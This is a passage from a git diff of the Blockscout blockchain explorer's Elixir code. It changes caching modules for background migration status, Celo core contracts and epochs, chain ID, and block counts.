defp handle_fallback(:async_task) do - # If this gets called it means an async task was requested, but none exists - # so a new one needs to be launched - {:ok, task} = - Task.start(fn -> - try do - result = Etherscan.fetch_sum_coin_total_supply_minus_burnt() - - params = %{ - counter_type: "sum_coin_total_supply_minus_burnt", - value: result - } - - Chain.upsert_last_fetched_counter(params) - - set_sum_minus_burnt(result) - rescue - e -> - Logger.debug([ - "Coudn't update address sum test #{inspect(e)}" - ]) - end - - set_async_task(nil) - end) - - {:update, task} - end - - # By setting this as a `callback` an async task will be started each time the - # `sum_minus_burnt` expires (unless there is one already running) - defp async_task_on_deletion({:delete, _, :sum_minus_burnt}), do: get_async_task() - - defp async_task_on_deletion(_data), do: nil -end diff --git a/apps/explorer/lib/explorer/chain/cache/background_migrations.ex b/apps/explorer/lib/explorer/chain/cache/background_migrations.ex new file mode 100644 index 000000000000..026dde330827 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/cache/background_migrations.ex @@ -0,0 +1,347 @@ +defmodule Explorer.Chain.Cache.BackgroundMigrations do + @moduledoc """ + Caches the completion status of various background database operations in the Blockscout system. + + This module leverages the MapCache behavior to maintain an in-memory cache of whether specific + database operations have completed. These operations include: + * Database table migrations + * Heavy index operations (creation and dropping) + * Data sanitization tasks + * Schema normalization processes + + Each operation status is cached to avoid frequent database checks, with a fallback mechanism + that asynchronously updates the cache when a status is not found. The default status for + any uncached operation is `false`, indicating the operation is not complete. + + The cache is particularly useful during the application startup and for performance-critical + operations that need to quickly check if certain database operations have been completed. + """ + + require Logger + + use Explorer.Chain.MapCache, + name: :background_migrations_status, + key: :transactions_denormalization_finished, + key: :tb_token_type_finished, + key: :ctb_token_type_finished, + key: :tt_denormalization_finished, + key: :sanitize_duplicated_log_index_logs_finished, + key: :backfill_multichain_search_db_finished, + key: :arbitrum_da_records_normalization_finished, + key: :sanitize_verified_addresses_finished, + key: :smart_contract_language_finished, + key: :heavy_indexes_create_logs_block_hash_index_finished, + key: :heavy_indexes_drop_logs_block_number_asc_index_asc_index_finished, + key: :heavy_indexes_create_logs_address_hash_block_number_desc_index_desc_index_finished, + key: :heavy_indexes_drop_logs_address_hash_index_finished, + key: :heavy_indexes_drop_logs_address_hash_transaction_hash_index_finished, + key: :heavy_indexes_drop_logs_index_index_finished, + key: :heavy_indexes_create_logs_address_hash_first_topic_block_number_index_index_finished, + key: :heavy_indexes_drop_token_transfers_block_number_asc_log_index_asc_index_finished, + key: :heavy_indexes_drop_token_transfers_from_address_hash_transaction_hash_index_finished, + key: :heavy_indexes_drop_token_transfers_to_address_hash_transaction_hash_index_finished, + key: :heavy_indexes_drop_token_transfers_token_contract_address_hash_transaction_hash_index_finished, + key: :heavy_indexes_drop_token_transfers_block_number_index_finished, + key: :heavy_indexes_drop_internal_transactions_from_address_hash_index_finished, + key: :heavy_indexes_create_internal_transactions_block_number_desc_transaction_index_desc_index_desc_index_finished, + key: :heavy_indexes_create_addresses_verified_index_finished, + key: :heavy_indexes_create_addresses_verified_hash_index_finished, + key: :heavy_indexes_create_addresses_verified_transactions_count_desc_hash_index_finished, + key: :heavy_indexes_create_addresses_verified_fetched_coin_balance_desc_hash_index_finished, + key: :heavy_indexes_create_smart_contracts_language_index_finished, + key: :heavy_indexes_create_arbitrum_batch_l2_blocks_unconfirmed_blocks_index_finished, + key: :heavy_indexes_drop_transactions_created_contract_address_hash_with_pending_index_finished, + key: :heavy_indexes_drop_transactions_from_address_hash_with_pending_index_finished, + key: :heavy_indexes_drop_transactions_to_address_hash_with_pending_index_finished, + key: :heavy_indexes_create_logs_deposits_withdrawals_index_finished, + key: :heavy_indexes_create_addresses_transactions_count_desc_partial_index_finished, + key: :heavy_indexes_create_addresses_transactions_count_asc_coin_balance_desc_hash_partial_index_finished + + @dialyzer :no_match + + alias Explorer.Migrator.{ + AddressCurrentTokenBalanceTokenType, + AddressTokenBalanceTokenType, + ArbitrumDaRecordsNormalization, + BackfillMultichainSearchDB, + SanitizeDuplicatedLogIndexLogs, + SmartContractLanguage, + TokenTransferTokenType, + TransactionsDenormalization + } + + alias Explorer.Migrator.HeavyDbIndexOperation.{ + CreateAddressesTransactionsCountAscCoinBalanceDescHashPartialIndex, + CreateAddressesTransactionsCountDescPartialIndex, + CreateAddressesVerifiedFetchedCoinBalanceDescHashIndex, + CreateAddressesVerifiedHashIndex, + CreateAddressesVerifiedTransactionsCountDescHashIndex, + CreateArbitrumBatchL2BlocksUnconfirmedBlocksIndex, + CreateInternalTransactionsBlockNumberDescTransactionIndexDescIndexDescIndex, + CreateLogsAddressHashBlockNumberDescIndexDescIndex, + CreateLogsAddressHashFirstTopicBlockNumberIndexIndex, + CreateLogsBlockHashIndex, + CreateLogsDepositsWithdrawalsIndex, + CreateSmartContractsLanguageIndex, + DropInternalTransactionsFromAddressHashIndex, + DropLogsAddressHashIndex, + DropLogsAddressHashTransactionHashIndex, + DropLogsBlockNumberAscIndexAscIndex, + DropLogsIndexIndex, + DropTokenTransfersBlockNumberAscLogIndexAscIndex, + DropTokenTransfersBlockNumberIndex, + DropTokenTransfersFromAddressHashTransactionHashIndex, + DropTokenTransfersToAddressHashTransactionHashIndex, + DropTokenTransfersTokenContractAddressHashTransactionHashIndex, + DropTransactionsCreatedContractAddressHashWithPendingIndex, + DropTransactionsFromAddressHashWithPendingIndex, + DropTransactionsToAddressHashWithPendingIndex + } + + defp handle_fallback(:transactions_denormalization_finished) do + set_and_return_migration_status( + TransactionsDenormalization, + &set_transactions_denormalization_finished/1 + ) + end + + defp handle_fallback(:tb_token_type_finished) do + set_and_return_migration_status( + AddressTokenBalanceTokenType, + &set_tb_token_type_finished/1 + ) + end + + defp handle_fallback(:ctb_token_type_finished) do + set_and_return_migration_status( + AddressCurrentTokenBalanceTokenType, + &set_ctb_token_type_finished/1 + ) + end + + defp handle_fallback(:tt_denormalization_finished) do + set_and_return_migration_status( + TokenTransferTokenType, + &set_tt_denormalization_finished/1 + ) + end + + defp handle_fallback(:sanitize_duplicated_log_index_logs_finished) do + set_and_return_migration_status( + SanitizeDuplicatedLogIndexLogs, + &set_sanitize_duplicated_log_index_logs_finished/1 + ) + end + + defp handle_fallback(:backfill_multichain_search_db_finished) do + set_and_return_migration_status( + BackfillMultichainSearchDB, + &set_backfill_multichain_search_db_finished/1 + ) + end + + defp handle_fallback(:heavy_indexes_create_logs_block_hash_index_finished) do + set_and_return_migration_status( + CreateLogsBlockHashIndex, + &set_heavy_indexes_create_logs_block_hash_index_finished/1 + ) + end + + defp handle_fallback(:heavy_indexes_drop_logs_block_number_asc_index_asc_index_finished) do + set_and_return_migration_status( + DropLogsBlockNumberAscIndexAscIndex, + &set_heavy_indexes_drop_logs_block_number_asc_index_asc_index_finished/1 + ) + end + + defp handle_fallback(:heavy_indexes_create_logs_address_hash_block_number_desc_index_desc_index_finished) do + set_and_return_migration_status( + CreateLogsAddressHashBlockNumberDescIndexDescIndex, + &set_heavy_indexes_create_logs_address_hash_block_number_desc_index_desc_index_finished/1 + ) + end + + defp handle_fallback(:heavy_indexes_drop_logs_address_hash_index_finished) do + set_and_return_migration_status( + DropLogsAddressHashIndex, + &set_heavy_indexes_drop_logs_address_hash_index_finished/1 + ) + end + + defp handle_fallback(:heavy_indexes_drop_logs_address_hash_transaction_hash_index_finished) do + set_and_return_migration_status( + DropLogsAddressHashTransactionHashIndex, + &set_heavy_indexes_drop_logs_address_hash_transaction_hash_index_finished/1 + ) + end + + defp handle_fallback(:heavy_indexes_drop_logs_index_index_finished) do + set_and_return_migration_status( + DropLogsIndexIndex, + &set_heavy_indexes_drop_logs_index_index_finished/1 + ) + end + + defp handle_fallback(:heavy_indexes_create_logs_address_hash_first_topic_block_number_index_index_finished) do + set_and_return_migration_status( + CreateLogsAddressHashFirstTopicBlockNumberIndexIndex, + &set_heavy_indexes_create_logs_address_hash_first_topic_block_number_index_index_finished/1 + ) + end + + defp handle_fallback(:heavy_indexes_drop_token_transfers_block_number_asc_log_index_asc_index_finished) do + set_and_return_migration_status( + DropTokenTransfersBlockNumberAscLogIndexAscIndex, + &set_heavy_indexes_drop_token_transfers_block_number_asc_log_index_asc_index_finished/1 + ) + end + + defp handle_fallback(:heavy_indexes_drop_token_transfers_from_address_hash_transaction_hash_index_finished) do + set_and_return_migration_status( + DropTokenTransfersFromAddressHashTransactionHashIndex, + &set_heavy_indexes_drop_token_transfers_from_address_hash_transaction_hash_index_finished/1 + ) + end + + defp handle_fallback(:heavy_indexes_drop_token_transfers_to_address_hash_transaction_hash_index_finished) do + set_and_return_migration_status( + DropTokenTransfersToAddressHashTransactionHashIndex, + &set_heavy_indexes_drop_token_transfers_to_address_hash_transaction_hash_index_finished/1 + ) + end + + defp handle_fallback(:heavy_indexes_drop_token_transfers_token_contract_address_hash_transaction_hash_index_finished) do + set_and_return_migration_status( + DropTokenTransfersTokenContractAddressHashTransactionHashIndex, + &set_heavy_indexes_drop_token_transfers_token_contract_address_hash_transaction_hash_index_finished/1 + ) + end + + defp handle_fallback(:heavy_indexes_drop_token_transfers_block_number_index_finished) do + set_and_return_migration_status( + DropTokenTransfersBlockNumberIndex, + &set_heavy_indexes_drop_token_transfers_block_number_index_finished/1 + ) + end + + defp handle_fallback(:heavy_indexes_drop_internal_transactions_from_address_hash_index_finished) do + set_and_return_migration_status( + DropInternalTransactionsFromAddressHashIndex, + &set_heavy_indexes_drop_internal_transactions_from_address_hash_index_finished/1 + ) + end + + defp handle_fallback( + :heavy_indexes_create_internal_transactions_block_number_desc_transaction_index_desc_index_desc_index_finished + ) do + set_and_return_migration_status( + CreateInternalTransactionsBlockNumberDescTransactionIndexDescIndexDescIndex, + &set_heavy_indexes_create_internal_transactions_block_number_desc_transaction_index_desc_index_desc_index_finished/1 + ) + end + + defp handle_fallback(:heavy_indexes_create_addresses_verified_hash_index_finished) do + set_and_return_migration_status( + CreateAddressesVerifiedHashIndex, + &set_heavy_indexes_create_addresses_verified_hash_index_finished/1 + ) + end + + defp handle_fallback(:heavy_indexes_create_addresses_verified_transactions_count_desc_hash_index_finished) do + set_and_return_migration_status( + CreateAddressesVerifiedTransactionsCountDescHashIndex, + &set_heavy_indexes_create_addresses_verified_transactions_count_desc_hash_index_finished/1 + ) + end + + defp handle_fallback(:heavy_indexes_create_addresses_verified_fetched_coin_balance_desc_hash_index_finished) do + set_and_return_migration_status( + CreateAddressesVerifiedFetchedCoinBalanceDescHashIndex, + &set_heavy_indexes_create_addresses_verified_fetched_coin_balance_desc_hash_index_finished/1 + ) + end + + defp handle_fallback(:heavy_indexes_create_smart_contracts_language_index_finished) do + set_and_return_migration_status( + CreateSmartContractsLanguageIndex, + &set_heavy_indexes_create_smart_contracts_language_index_finished/1 + ) + end + + defp handle_fallback(:heavy_indexes_drop_transactions_created_contract_address_hash_with_pending_index) do + set_and_return_migration_status( + DropTransactionsCreatedContractAddressHashWithPendingIndex, + &set_heavy_indexes_drop_transactions_created_contract_address_hash_with_pending_index_finished/1 + ) + end + + defp handle_fallback(:heavy_indexes_drop_transactions_from_address_hash_with_pending_index) do + set_and_return_migration_status( + DropTransactionsFromAddressHashWithPendingIndex, + &set_heavy_indexes_drop_transactions_from_address_hash_with_pending_index_finished/1 + ) + end + + defp handle_fallback(:heavy_indexes_drop_transactions_to_address_hash_with_pending_index) do + set_and_return_migration_status( + DropTransactionsToAddressHashWithPendingIndex, + &set_heavy_indexes_drop_transactions_to_address_hash_with_pending_index_finished/1 + ) + end + + defp handle_fallback(:heavy_indexes_create_logs_deposits_withdrawals_index_finished) do + set_and_return_migration_status( + CreateLogsDepositsWithdrawalsIndex, + &set_heavy_indexes_create_logs_deposits_withdrawals_index_finished/1 + ) + end + + defp handle_fallback(:arbitrum_da_records_normalization_finished) do + set_and_return_migration_status( + ArbitrumDaRecordsNormalization, + &set_arbitrum_da_records_normalization_finished/1 + ) + end + + defp handle_fallback(:smart_contract_language_finished) do + set_and_return_migration_status( + SmartContractLanguage, + &set_smart_contract_language_finished/1 + ) + end + + defp handle_fallback(:heavy_indexes_create_arbitrum_batch_l2_blocks_unconfirmed_blocks_index_finished) do + set_and_return_migration_status( + CreateArbitrumBatchL2BlocksUnconfirmedBlocksIndex, + &set_heavy_indexes_create_arbitrum_batch_l2_blocks_unconfirmed_blocks_index_finished/1 + ) + end + + defp handle_fallback(:heavy_indexes_create_addresses_transactions_count_desc_partial_index_finished) do + set_and_return_migration_status( + CreateAddressesTransactionsCountDescPartialIndex, + &set_heavy_indexes_create_addresses_transactions_count_desc_partial_index_finished/1 + ) + end + + defp handle_fallback( + :heavy_indexes_create_addresses_transactions_count_asc_coin_balance_desc_hash_partial_index_finished + ) do + set_and_return_migration_status( + CreateAddressesTransactionsCountAscCoinBalanceDescHashPartialIndex, + &set_heavy_indexes_create_addresses_transactions_count_asc_coin_balance_desc_hash_partial_index_finished/1 + ) + end + + defp handle_fallback(:sanitize_verified_addresses_finished) do + {:return, false} + end + + defp set_and_return_migration_status(migration_module, status_setter) do + status = migration_module.migration_finished?() + + status_setter.(status) + + {:return, status} + end +end diff --git a/apps/explorer/lib/explorer/chain/cache/block.ex b/apps/explorer/lib/explorer/chain/cache/block.ex deleted file mode 100644 index 0c3ac1242aec..000000000000 --- a/apps/explorer/lib/explorer/chain/cache/block.ex +++ /dev/null @@ -1,100 +0,0 @@ -defmodule Explorer.Chain.Cache.Block do - @moduledoc """ - Cache for block count. - """ - - @default_cache_period :timer.hours(2) - - import Ecto.Query, - only: [ - from: 2 - ] - - use Explorer.Chain.MapCache, - name: :block_count, - key: :count, - key: :async_task, - global_ttl: cache_period(), - ttl_check_interval: :timer.minutes(15), - callback: &async_task_on_deletion(&1) - - require Logger - - alias Explorer.Chain.Block - alias Explorer.Repo - - @doc """ - Estimated count of `t:Explorer.Chain.Block.t/0`. - - Estimated count of consensus blocks. - """ - @spec estimated_count() :: non_neg_integer() - def estimated_count do - cached_value = __MODULE__.get_count() - - if is_nil(cached_value) do - %Postgrex.Result{rows: [[count]]} = Repo.query!("SELECT reltuples FROM pg_class WHERE relname = 'blocks';") - - trunc(count * 0.90) - else - cached_value - end - end - - defp handle_fallback(:count) do - # This will get the task PID if one exists and launch a new task if not - # See next `handle_fallback` definition - get_async_task() - - {:return, nil} - end - - defp handle_fallback(:async_task) do - # If this gets called it means an async task was requested, but none exists - # so a new one needs to be launched - {:ok, task} = - Task.start(fn -> - try do - result = fetch_count_consensus_block() - - set_count(result) - rescue - e -> - Logger.debug([ - "Coudn't update block count test #{inspect(e)}" - ]) - end - - set_async_task(nil) - end) - - {:update, task} - end - - # By setting this as a `callback` an async task will be started each time the - # `count` expires (unless there is one already running) - defp async_task_on_deletion({:delete, _, :count}), do: get_async_task() - - defp async_task_on_deletion(_data), do: nil - - defp cache_period do - "CACHE_BLOCK_COUNT_PERIOD" - |> System.get_env("") - |> Integer.parse() - |> case do - {integer, ""} -> :timer.seconds(integer) - _ -> @default_cache_period - end - end - - @spec fetch_count_consensus_block() :: non_neg_integer - defp fetch_count_consensus_block do - query = - from(block in Block, - select: count(block.hash), - where: block.consensus == true - ) - - Repo.one!(query, timeout: :infinity) || 0 - end -end diff --git a/apps/explorer/lib/explorer/chain/cache/block_number.ex b/apps/explorer/lib/explorer/chain/cache/block_number.ex index 90ee4892eeb8..0c1aeb722d76 100644 --- a/apps/explorer/lib/explorer/chain/cache/block_number.ex +++ b/apps/explorer/lib/explorer/chain/cache/block_number.ex @@ -13,12 +13,24 @@ defmodule Explorer.Chain.Cache.BlockNumber do alias Explorer.Chain - defp handle_update(_key, nil, value), do: {:ok, value} - - defp handle_update(:min, old_value, new_value), do: {:ok, min(new_value, old_value)} - - defp handle_update(:max, old_value, new_value), do: {:ok, max(new_value, old_value)} - + def handle_update(_key, nil, value), do: {:ok, value} + + def handle_update(:min, old_value, new_value), do: {:ok, min(new_value, old_value)} + + def handle_update(:max, old_value, new_value), do: {:ok, max(new_value, old_value)} + + # Handles cache misses by fetching block numbers from the database. + # + # When the cache is enabled, updates it with the fetched value. Otherwise, + # returns the value without caching. + # + # ## Parameters + # - `key`: Either `:min` for lowest block number or `:max` for highest block number + # + # ## Returns + # - `{:update, non_neg_integer()}` when caching is enabled + # - `{:return, non_neg_integer()}` when caching is disabled + @spec handle_fallback(key :: :min | :max) :: {:update, non_neg_integer()} | {:return, non_neg_integer()} defp handle_fallback(key) do result = fetch_from_db(key) @@ -29,6 +41,14 @@ defmodule Explorer.Chain.Cache.BlockNumber do end end + # Retrieves the minimum or maximum consensus block number from the database. + # + # ## Parameters + # - `key`: Either `:min` for lowest block number or `:max` for highest block number + # + # ## Returns + # - A non-negative integer representing the requested block number, or 0 if none found + @spec fetch_from_db(:min | :max) :: non_neg_integer() defp fetch_from_db(key) do case key do :min -> Chain.fetch_min_block_number() diff --git a/apps/explorer/lib/explorer/chain/cache/blocks.ex b/apps/explorer/lib/explorer/chain/cache/blocks.ex index ca968fb56d45..5b992d391624 100644 --- a/apps/explorer/lib/explorer/chain/cache/blocks.ex +++ b/apps/explorer/lib/explorer/chain/cache/blocks.ex @@ -38,4 +38,31 @@ defmodule Explorer.Chain.Cache.Blocks do end def drop_nonconsensus(number) when not is_nil(number), do: drop_nonconsensus([number]) + + @doc """ + Prepares a block for cache update by aggregating transaction metrics and clearing the transactions list. + + This function ensures that all transaction-related statistics are calculated + and stored in the block's virtual fields before removing the transactions + list. This optimization allows the block to retain computed aggregate data + while eliminating the need to store redundant transaction references that + are maintained separately in the database. + + The function first triggers transaction aggregation to compute metrics such + as transaction counts, total fees, burnt fees, and priority fees. After + aggregation is complete, the transactions list is cleared to reduce memory + usage. + + ## Parameters + - `block`: A Block struct that may contain transactions to be aggregated + + ## Returns + - Block struct with aggregated transaction metrics and an empty transactions list + """ + @spec sanitize_before_update(Block.t()) :: Block.t() + def sanitize_before_update(block) do + block = Block.aggregate_transactions(block) + + %{block | transactions: []} + end end diff --git a/apps/explorer/lib/explorer/chain/cache/celo_core_contracts.ex b/apps/explorer/lib/explorer/chain/cache/celo_core_contracts.ex new file mode 100644 index 000000000000..d822a5fae709 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/cache/celo_core_contracts.ex @@ -0,0 +1,275 @@ +defmodule Explorer.Chain.Cache.CeloCoreContracts do + @moduledoc """ + Cache for Celo core contract addresses. + + This module operates with a `CELO_CORE_CONTRACTS` environment variable, which + contains the JSON map of core contract addresses on the Celo network. The + module provides functions to fetch the addresses of core contracts at a given + block. Additionally, it provides a function to obtain the state of a specific + contract by fetching the latest event for the contract at a given block. + + For details on the structure of the `CELO_CORE_CONTRACTS` environment + variable, see `app/explorer/lib/fetch_celo_core_contracts.ex`. + """ + @dialyzer {:nowarn_function, get_address_updates: 1} + + require Logger + + alias EthereumJSONRPC + alias Explorer.Chain.Block + + @type contract_name :: String.t() + + @atom_to_contract_name %{ + accounts: "Accounts", + celo_token: "GoldToken", + election: "Election", + epoch_rewards: "EpochRewards", + locked_gold: "LockedGold", + reserve: "Reserve", + usd_token: "StableToken", + validators: "Validators", + governance: "Governance", + fee_handler: "FeeHandler", + gas_price_minimum: "GasPriceMinimum" + } + + @atom_to_contract_event_names %{ + fee_handler: %{ + fee_beneficiary_set: "FeeBeneficiarySet", + burn_fraction_set: "BurnFractionSet" + }, + epoch_rewards: %{ + carbon_offsetting_fund_set: "CarbonOffsettingFundSet" + } + } + + @doc """ + A map where keys are atoms representing contract types, and values are strings + representing the names of the contracts. + """ + @spec atom_to_contract_name() :: %{atom() => contract_name} + def atom_to_contract_name, do: @atom_to_contract_name + + @doc """ + A nested map where keys are atoms representing contract types, and values are + maps of event atoms to event names. + """ + @spec atom_to_contract_event_names() :: %{atom() => %{atom() => contract_name}} + def atom_to_contract_event_names, do: @atom_to_contract_event_names + + defp core_contracts, do: Application.get_env(:explorer, __MODULE__)[:contracts] + + @doc """ + Gets the specified event for a core contract at a given block number. + + ## Parameters + - `contract_atom`: The atom representing the contract. + - `event_atom`: The atom representing the event. + - `block_number`: The block number at which to fetch the event. + + ## Returns (one of the following) + - `{:ok, map() | nil}`: The event data if found, or `nil` if no event is found. + - `{:error, reason}`: An error tuple with the reason for the failure. + """ + @spec get_event(atom(), atom(), Block.block_number()) :: + {:ok, map() | nil} + | {:error, + :contract_atom_not_found + | :event_atom_not_found + | :contract_name_not_found + | :event_name_not_found + | :contract_address_not_found + | :event_does_not_exist} + def get_event(contract_atom, event_atom, block_number) do + with {:ok, address} <- get_address(contract_atom, block_number), + {:contract_atom, {:ok, contract_name}} <- + {:contract_atom, Map.fetch(@atom_to_contract_name, contract_atom)}, + {:event_atom, {:ok, event_name}} <- + { + :event_atom, + @atom_to_contract_event_names + |> Map.get(contract_atom, %{}) + |> Map.fetch(event_atom) + }, + {:events, {:ok, contract_name_to_addresses}} <- + {:events, Map.fetch(core_contracts(), "events")}, + {:contract_name, {:ok, contract_addresses}} <- + {:contract_name, Map.fetch(contract_name_to_addresses, contract_name)}, + {:contract_address, {:ok, contract_events}} <- + {:contract_address, Map.fetch(contract_addresses, address)}, + {:event_name, {:ok, event_updates}} <- + {:event_name, Map.fetch(contract_events, event_name)}, + current_event when not is_nil(current_event) <- + event_updates + |> Enum.take_while(&(&1["updated_at_block_number"] <= block_number)) + |> List.last() do + {:ok, current_event} + else + nil -> + {:ok, nil} + + {:contract_atom, :error} -> + Logger.error("Unknown contract atom: #{inspect(contract_atom)}") + {:error, :contract_atom_not_found} + + {:event_atom, :error} -> + Logger.error("Unknown event atom: #{inspect(event_atom)}") + {:error, :event_atom_not_found} + + {:events, :error} -> + raise "Missing `events` key in CELO core contracts JSON" + + {:contract_name, :error} -> + Logger.error(fn -> + [ + "Unknown name for contract atom: #{contract_atom}, ", + "ensure `CELO_CORE_CONTRACTS` env var is set ", + "and the provided JSON contains required key" + ] + end) + + {:error, :contract_name_not_found} + + {:event_name, :error} -> + Logger.error(fn -> + [ + "Unknown name for event atom: #{event_atom}, ", + "ensure `CELO_CORE_CONTRACTS` env var is set ", + "and the provided JSON contains required key" + ] + end) + + {:error, :event_name_not_found} + + {:contract_address, :error} -> + Logger.error(fn -> + [ + "Unknown address for contract atom: #{contract_atom}, ", + "ensure `CELO_CORE_CONTRACTS` env var is set ", + "and the provided JSON contains required key" + ] + end) + + {:error, :contract_address_not_found} + + error -> + error + end + end + + @doc """ + Retrieves all address updates for a specified core contract. + + ## Parameters + + - `contract_atom` (`atom()`): The atom representing the core contract (e.g., + `:accounts`, `:validators`). + + ## Returns + + - `{:ok, [map()]}`: On success, returns a list of maps containing address + updates for the contract. + - `{:error, reason}`: Returns an error tuple with one of the following + reasons: `:contract_atom_not_found`, `:contract_name_not_found` + + ## Examples + + iex> Explorer.Chain.Cache.CeloCoreContracts.get_address_updates(:validators) + {:ok, [%{"address" => "0x123...", "updated_at_block_number" => 1000000}, ...]} + + iex> Explorer.Chain.Cache.CeloCoreContracts.get_address_updates(:unknown_contract) + {:error, :contract_atom_not_found} + + """ + @spec get_address_updates(atom()) :: + {:ok, [map()]} | {:error, :contract_atom_not_found | :contract_name_not_found} + def get_address_updates(contract_atom) do + with {:atom, {:ok, contract_name}} <- + {:atom, Map.fetch(@atom_to_contract_name, contract_atom)}, + {:addresses, {:ok, contract_name_to_addresses}} <- + {:addresses, Map.fetch(core_contracts(), "addresses")}, + {:name, {:ok, address_updates}} <- + {:name, Map.fetch(contract_name_to_addresses, contract_name)} do + {:ok, address_updates} + else + {:atom, :error} -> + Logger.error("Unknown contract atom: #{inspect(contract_atom)}") + {:error, :contract_atom_not_found} + + {:addresses, :error} -> + raise "Missing `addresses` key in CELO core contracts JSON" + + {:name, :error} -> + Logger.error(fn -> + [ + "Unknown name for contract atom: #{contract_atom}, ", + "ensure `CELO_CORE_CONTRACTS` env var is set ", + "and the provided JSON contains required key" + ] + end) + + {:error, :contract_name_not_found} + end + end + + @doc """ + Gets the address of a core contract at a given block number. + + ## Parameters + - `contract_atom`: The atom representing the contract. + - `block_number`: The block number at which to fetch the address. + + ## Returns (one of the following) + - `{:ok, EthereumJSONRPC.address() | nil}`: The address of the contract, or `nil` if not found. + - `{:error, reason}`: An error tuple with the reason for the failure. + """ + @spec get_address(atom(), Block.block_number()) :: + {:ok, EthereumJSONRPC.address() | nil} + | {:error, + :contract_atom_not_found + | :contract_name_not_found + | :address_does_not_exist} + def get_address(contract_atom, block_number) do + with {:ok, address_updates} <- get_address_updates(contract_atom), + %{"address" => current_address} <- + address_updates + |> Enum.take_while(&(&1["updated_at_block_number"] <= block_number)) + |> List.last() do + {:ok, current_address} + else + nil -> + {:error, :address_does_not_exist} + + error -> + error + end + end + + @doc """ + Retrieves the block number of the first address update for a given core + contract. + + ## Parameters + + - `contract_atom` (`atom()`): The atom representing the core contract. + + ## Returns + + - `{:ok, Block.block_number()}`: The block number of the first update. + - `{:error, :contract_atom_not_found}`: If the contract atom is not + recognized. + """ + @spec get_first_update_block_number(atom()) :: + {:ok, Block.block_number() | nil} + | {:error, :contract_atom_not_found} + def get_first_update_block_number(contract_atom) do + with {:ok, address_updates} <- get_address_updates(contract_atom), + %{"updated_at_block_number" => updated_at_block_number} <- + address_updates + |> Enum.sort_by(& &1["updated_at_block_number"]) + |> List.first() do + {:ok, updated_at_block_number} + end + end +end diff --git a/apps/explorer/lib/explorer/chain/cache/celo_epochs.ex b/apps/explorer/lib/explorer/chain/cache/celo_epochs.ex new file mode 100644 index 000000000000..56145b0e37e6 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/cache/celo_epochs.ex @@ -0,0 +1,98 @@ +defmodule Explorer.Chain.Cache.CeloEpochs do + @moduledoc """ + Cache for efficiently mapping block numbers to epoch numbers in Celo blockchain. + + This implementation uses: + 1. A direct mathematical calculation for pre-migration epochs + 2. An ordered cache of post-migration epochs for efficient lookups + """ + + use Explorer.Chain.OrderedCache, + name: :celo_epochs_cache, + ttl_check_interval: :timer.minutes(1), + global_ttl: :timer.minutes(5), + # Adjust based on expected number of post-migration epochs + max_size: 256 + + @type element :: %{ + number: non_neg_integer(), + start_block_number: non_neg_integer(), + end_block_number: non_neg_integer() | nil + } + + @type id :: non_neg_integer() + + import Ecto.Query, only: [select: 3] + + alias Explorer.Chain + alias Explorer.Chain.Block + alias Explorer.Chain.Cache.BlockNumber + alias Explorer.Chain.Celo.{Epoch, Helper} + + @impl Explorer.Chain.OrderedCache + def element_to_id(epoch) when is_map(epoch), do: epoch.number + + @doc """ + Gets the epoch number for a given block number. Uses mathematical formula for + pre-migration blocks and cached data for post-migration blocks. + """ + def block_number_to_epoch_number(block_number) do + block_number + |> Helper.pre_migration_block_number?() + |> if do + # For pre-migration blocks, use the mathematical formula + Helper.block_number_to_epoch_number(block_number) + else + # For post-migration blocks, use the ordered cache + fetch_post_migration_epoch_number(block_number) + end + end + + @doc """ + Retrieves the epoch number of the last fetched block. + """ + @spec last_block_epoch_number() :: Block.block_number() + def last_block_epoch_number do + BlockNumber.get_max() |> block_number_to_epoch_number() + end + + @spec fetch_post_migration_epoch_number(non_neg_integer()) :: non_neg_integer() | nil + defp fetch_post_migration_epoch_number(block_number) do + with {:cache, nil} <- {:cache, fetch_epoch_from_cache(block_number)}, + {:db, nil} <- {:db, fetch_epoch_from_db(block_number)} do + nil + else + {source, epoch} -> + # If the epoch is found in the database, update the cache + if source == :db do + update(epoch) + end + + epoch.number + end + end + + @spec fetch_epoch_from_cache(non_neg_integer()) :: element() | nil + defp fetch_epoch_from_cache(block_number) do + Enum.find(all(), fn + %{end_block_number: nil} = epoch -> + epoch.start_block_number <= block_number + + epoch -> + epoch.start_block_number <= block_number and + block_number <= epoch.end_block_number + end) + end + + @spec fetch_epoch_from_db(non_neg_integer()) :: element() | nil + defp fetch_epoch_from_db(block_number) do + block_number + |> Epoch.block_number_to_epoch_query() + |> select([e], %{ + number: e.number, + start_block_number: e.start_block_number, + end_block_number: e.end_block_number + }) + |> Chain.select_repo(api?: true).one() + end +end diff --git a/apps/explorer/lib/explorer/chain/cache/chain_id.ex b/apps/explorer/lib/explorer/chain/cache/chain_id.ex new file mode 100644 index 000000000000..dd4636b0592a --- /dev/null +++ b/apps/explorer/lib/explorer/chain/cache/chain_id.ex @@ -0,0 +1,31 @@ +defmodule Explorer.Chain.Cache.ChainId do + @moduledoc """ + Caches the blockchain's chain ID to reduce repeated JSON-RPC calls. + + The chain ID is fetched from the node using `eth_chainId` JSON-RPC call when the cache is empty. + + This helps improve performance by avoiding repeated RPC calls for this frequently needed value. + """ + + require Logger + + use Explorer.Chain.MapCache, + name: :chain_id, + key: :id + + defp handle_fallback(:id) do + case EthereumJSONRPC.fetch_chain_id(Application.get_env(:explorer, :json_rpc_named_arguments)) do + {:ok, value} -> + {:update, value} + + {:error, reason} -> + Logger.debug([ + "Couldn't fetch eth_chainId, reason: #{inspect(reason)}" + ]) + + {:return, nil} + end + end + + defp handle_fallback(_key), do: {:return, nil} +end diff --git a/apps/explorer/lib/explorer/chain/cache/counters/address_gas_usage_sum.ex b/apps/explorer/lib/explorer/chain/cache/counters/address_gas_usage_sum.ex new file mode 100644 index 000000000000..295f949e69d9 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/cache/counters/address_gas_usage_sum.ex @@ -0,0 +1,87 @@ +defmodule Explorer.Chain.Cache.Counters.AddressTransactionsGasUsageSum do + @moduledoc """ + Caches Address transactions gas usage count. + """ + use GenServer + use Utils.CompileTimeEnvHelper, enable_consolidation: [:explorer, [__MODULE__, :enable_consolidation]] + + alias Ecto.Changeset + alias Explorer.Chain.Address.Counters + alias Explorer.Chain.Cache.Counters.Helper + alias Explorer.Repo + + @cache_name :address_transactions_gas_usage_counter + @last_update_key "last_update" + + @spec start_link(term()) :: GenServer.on_start() + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: 